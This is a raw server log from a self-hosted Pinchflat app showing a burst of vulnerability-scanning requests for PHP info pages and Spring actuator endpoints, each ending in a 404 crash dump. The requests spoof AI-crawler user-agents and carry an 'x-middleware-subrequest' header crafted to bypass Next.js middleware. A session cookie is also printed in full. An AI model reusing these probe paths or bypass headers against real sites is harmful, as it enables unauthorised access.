"34.7.214.207" }, method: "G (truncated) 16:49:10.882 [info] GET /info.php 16:49:10.882 [debug] QUERY OK source="settings" db=0.0ms idle=43.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.882 [debug] QUERY OK source="settings" db=0.0ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.882 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.883 [error] #PID<0.29907.0> running PinchflatWeb.Endpoint (connection #PID<0.29906.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34986}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29907.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61nskT7pluaIABwuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34986}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34986}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:10.925 [info] GET /actuator/configprops 16:49:10.925 [debug] QUERY OK source="settings" db=0.0ms idle=64.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.925 [debug] QUERY OK source="settings" db=0.0ms idle=61.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.925 [error] #PID<0.29909.0> running PinchflatWeb.Endpoint (connection #PID<0.29908.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34992}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29909.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61n2zaI2rS7gABMYi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34992}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29908.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34992}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: (truncated) 16:49:10.963 [info] GET /pi.php 16:49:10.964 [debug] QUERY OK source="settings" db=0.0ms idle=81.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.964 [debug] QUERY OK source="settings" db=0.0ms idle=81.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.964 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.964 [error] #PID<0.29911.0> running PinchflatWeb.Endpoint (connection #PID<0.29910.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /pi.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29910.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29911.0>, params: %{}, path_info: ["pi"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/pi.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61n_9l3lgIZUABMZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29910.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29910.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:11.007 [info] GET /test.php 16:49:11.007 [debug] QUERY OK source="settings" db=0.0ms idle=81.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.007 [debug] QUERY OK source="settings" db=0.0ms idle=81.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.007 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.008 [info] GET /i.php 16:49:11.007 [error] #PID<0.29913.0> running PinchflatWeb.Endpoint (connection #PID<0.29912.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29913.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: 